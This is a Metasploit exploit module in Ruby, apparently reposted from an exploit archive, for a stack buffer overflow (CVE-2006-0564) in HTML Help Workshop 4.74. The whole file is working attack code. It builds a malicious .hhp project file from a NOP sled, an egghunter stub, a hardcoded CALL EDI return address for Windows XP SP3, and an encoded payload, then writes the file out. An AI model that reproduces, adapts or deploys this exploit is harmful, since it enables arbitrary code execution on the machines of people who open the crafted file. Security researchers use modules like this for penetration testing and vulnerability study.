HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',  
'Description' => %q{  
This module exploits a stack overflow in HTML Help Workshop 4.74  
By creating a specially crafted hhp file, an an attacker may be able  
to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'bratax', 'jduck' ],  
'Version' => '$Revision: 7759 $',  
'References' =>  
[  
[ 'CVE', '2006-0564' ],  
[ 'OSVDB', '22941' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/1470' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/1495' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},   
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x0a\x0d\x1a\x2f\x5c",  
'StackAdjustment' => -4800,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows XP English SP3', { 'Offset' => 280, 'Ret' => 0x00401F93 } ], # CALL EDI hhw.exe v4.74.8702.0  
],  
'Privileged' => false,  
'DisclosureDate' => 'Feb 06 2006',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.hhp']),  
], self.class)  
  
end  
  
def exploit  
  
# use the egghunter!  
eh_stub, eh_egg = generate_egghunter  
  
off = target['Offset']  
idxf = ""  
idxf << make_nops(off - eh_stub.length)  
idxf << eh_stub  
idxf << [target.ret].pack('V')  
  
sploit = "[OPTIONS]\r\n"  
sploit << "Contents file="  
sploit << idxf  
sploit << "\r\n"  
sploit << "\r\n"  
sploit << "[FILES]\r\n"  
sploit << "\r\n"  
sploit << eh_egg * 2  
sploit << payload.encoded  
  
hhp = sploit  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(hhp)  
end  
  
end  
`